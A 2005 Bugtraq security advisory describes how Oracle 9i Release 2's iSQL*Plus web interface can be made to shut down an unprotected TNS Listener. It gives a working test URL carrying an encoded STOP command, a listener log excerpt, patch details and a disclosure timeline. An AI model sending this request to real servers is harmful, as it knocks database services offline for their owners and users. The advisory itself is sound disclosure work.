bugtraq - Shutdown TNS Listener via Oracle iSQL*Plus

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Message-ID: <20051007093956.24301.qmail@securityfocus.com>
Date: 7 Oct 2005 09:39:56 -0000
From: ak@...-database-security.com
To: bugtraq@...urityfocus.com
Subject: Shutdown TNS Listener via Oracle iSQL*Plus

Shutdown TNS Listener via Oracle iSQL*Plus 
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 Name                Shutdown TNS Listener via  Oracle iSQL*Plus
 Systems Affected    Oracle Database 9i Rel. 2
 Severity            Medium Risk 
 Category            Denial of Service
 Vendor URL          http://www.oracle.com 
 This advisory       http://www.red-database-security.com/advisory/oracle_isqlplus_shutdown.html
 Author              Alexander Kornbrust (ak at red-database-security.com) 
 Date                7 October 2005 (V 1.00)

Details
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Oracle iSQL*Plus is a web interface to SQL*Plus. The web interface can be used to stop the (unprotected) TNS Listener. 

Affected Products
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Oracle Database 9i Release 2 

Testcase 
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http://server:3339/isqlplus?username=s&password=s&sid=%28DESCRIPTION%3D%28ADDRESS_LIST%3D%28ADDRESS%3D%28PROTOCOL%3DTCP%29%28HOST%3Dlocalhost%29%28PORT%3D1521%29%29%29%28CONNECT_DATA%3D%28COMMAND%3DSTOP%29%28SERVICE%3DLISTENER%29%28USER%3DHacker%29%29%29&login=Login&action=logon

==> ERROR: 

ORA-12564: TNS:connection refused 

Excerpt from the listener.log:

28-OCT-2003 15:14:39 * (CONNECT_DATA=(COMMAND=STOP)(SERVICE=LISTENER)(USER=Hacker)(CID=(PROGRAM=c:\oracle\ora92\bin\isqlplus)(HOST=LOCALHOST)(USER=SYSTEM))) * stop * 0

Affected systems 
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Tested with Oracle Database 9.0.2.4. 

Patch Information
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This bug is fixed with Critical Patch Update July 2005 (CPU July 2005). Oracle 
forgot to inform Red-Database-Security that this bug is fixed with CPU July 2005.

All already published alerts are available on the web site of Red-Database-Security GmbH
http://www.red-database-security.com/advisory/published_alerts.html

History
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28-oct-2003 Oracle secalert was informed

29-oct-2003 Bug confirmed

12-jul-2005 Oracle published CPU July 2005 without informing Red-Database-Security 
that this bug is already fixed. 

07-oct-2005 Red-Database-Security published this advisory

© 2005 by Red-Database-Security GmbH - last update 7-october-2005